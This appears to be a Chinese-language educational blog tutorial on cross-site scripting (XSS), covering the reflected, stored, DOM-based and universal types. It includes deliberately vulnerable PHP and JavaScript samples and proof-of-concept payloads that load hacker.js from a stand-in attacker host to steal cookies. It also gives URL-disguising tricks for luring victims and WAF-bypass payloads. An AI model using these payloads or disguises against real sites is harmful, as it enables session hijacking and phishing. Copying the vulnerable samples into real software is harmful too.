仅供学习和技术交流,严禁用于商业和非法用途。个人技术有限, 若有错误,恳请指正。
1. 概念
中译:跨站脚本攻击
区别于 CSS (Cascading Style Sheets):样式表
2. 反射型 XSS
反射型 XSS 是最常见的 XSS,指用户将数据提交到 web 应用,web 应用立即返回提交的内容并在页面中渲染
2.1 服务端代码
<html>
<head>
<title>反射型 XSS</title>
</head>
<body>
<?php
$id = $_GET['id'];
echo $id;
?>
</body>
</html>
2.2 POC
假设服务端代码的运行地址为:https://demo.xss.com
https://demo.xss.com?id=<iframe src="http://hacker.com"></iframe>=> 页面会加载 iframehttps://demo.xss.com?id=<script src="http://hacker.com/hacker.js"></script>=> 页面会加载并执行hacker.js, 可以在hacker.js中做任意的 js 操作,譬如:读取 cookie 并发送到指定服务器,实现身份信息盗取
上面两个 POC 看起来有一些过于粗暴了, 我们可以加一个社会工程手段来隐藏真实的 URL, 譬如:
- 缩短 URL
- 重定向 URL
- 采用 URL 编码或 ASCII 编码来编码 URL
- 添加一些多余的、无关的查询参数,把恶意内容混淆其中
- 在 URL 中使用 @ 符号以添加伪域名内容,举例:www.baidu.com@163.com, 浏览器实际上会访问 www.163.com
- 把主机名转换为整数,举例:http://3409677458, 浏览器实际上会访问 http://203.59.140.146/
3. 存储型 XSS
存储型 XSS 与反射型 XSS 类似,区别在于存储型 XSS 会持久保存于 web 应用的数据存储中,不仅限于数据库,也可以是文件系统或其他。随后,只要是在脚本被持久存储后访问被侵入的 web 应用,恶意代码都会得到执行,对于攻击来说,一劳永逸
3.1 服务端代码
// 注册
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "insert into users (username, password) values ($username, $password)";
db.exute($sql);
// 用户排行榜页面
<html>
<head>
<title>存储型 XSS</title>
</head>
<body>
<?php
// top 10 username
$usernames = db.excute('selecte username from users limit 10');
foreach($usernames as $username) {
echo $username;
}
?>
</body>
</html>
3.2 POC
- 注册时 username 填写
<script src="http://hacker.com/hacker.js"></script> - 后续所有访问用户排行榜页面的浏览器都会执行
http://hacker.com/hacker.js中的代码
4. DOM XSS
DOM XSS 是一种纯粹的客户端 XSS 类型,不依赖 web 应用处理用户输入时的漏洞
4.1 客户端代码
// 将 URL hash 部分的 welcomemessage 内容写到当前页面
<html>
<head>
<title>DOM XSS</title>
</head>
<body>
<script>
document.write(
location.href.substr(
location.href.search(/#welcomemessage/i) + 16,
location.href.length
)
);
</script>
</body>
</html>
4.2 POC
假设客户端地址为: http://demo.xss.com
http://demo.xss.com/#welcomemessage=<script src="http://hacker.com/hacker.js"></script>攻击脚本会被插入到当前页面得到执行http://demo.xss.com/#welcomemessage=<script>document.location = "https://www.hacker.com"</script>网页会被劫持自动跳转到http://www.hacker.com
当然了,在自己的浏览器玩并不能起到攻击效果,需要通过一些社会工程的手段欺骗用户点击上述精心构造的链接
5. 通用型 XSS
- 通用型 XSS 是另一种在浏览器中执行恶意 JavaScript 的方法,是一种利用浏览器或者浏览器扩展漏洞来制造产生 XSS 的条件并执行代码的一种攻击类型
- 某些情况下,可以实现绕过 SOP。
5.1 经典例子
var sneaky = '
setTimeout("alert(document.cookie);", 4000);
document.location.assign("http://www.gmail.com");
';
document.location = 'chromehtml:"%80%20javascript:document.write(sneaky)"';
6. 绕过 XSS 防御机制
6.1 绕过浏览器 XSS 防御机制
- mXSS(mutation-based cross site scripting), 基于变异的 xss
// 代码
<img src="test.jpg" alt="``onload=xss()" />
// 浏览器实际渲染结果
<img src="test.jpg" alt=`` onload=xss() />
6.2 绕过服务端 XSS 防御机制
WAF(Web Application Firewalls) 可以阻绝绝大部分的 XSS 攻击,但也有一些漏网之鱼
- onerror=alert;throw 1;
- onerror=eval;throw'alert\x281\x29';
资源
- XSS 备忘录:cheatsheetseries.owasp.org/cheatsheets… 这个网址还有别的 POC, 不仅仅是 XSS
- html5sec.org/
- XSS 挑战之旅:xssaq.com/yx/index.ph…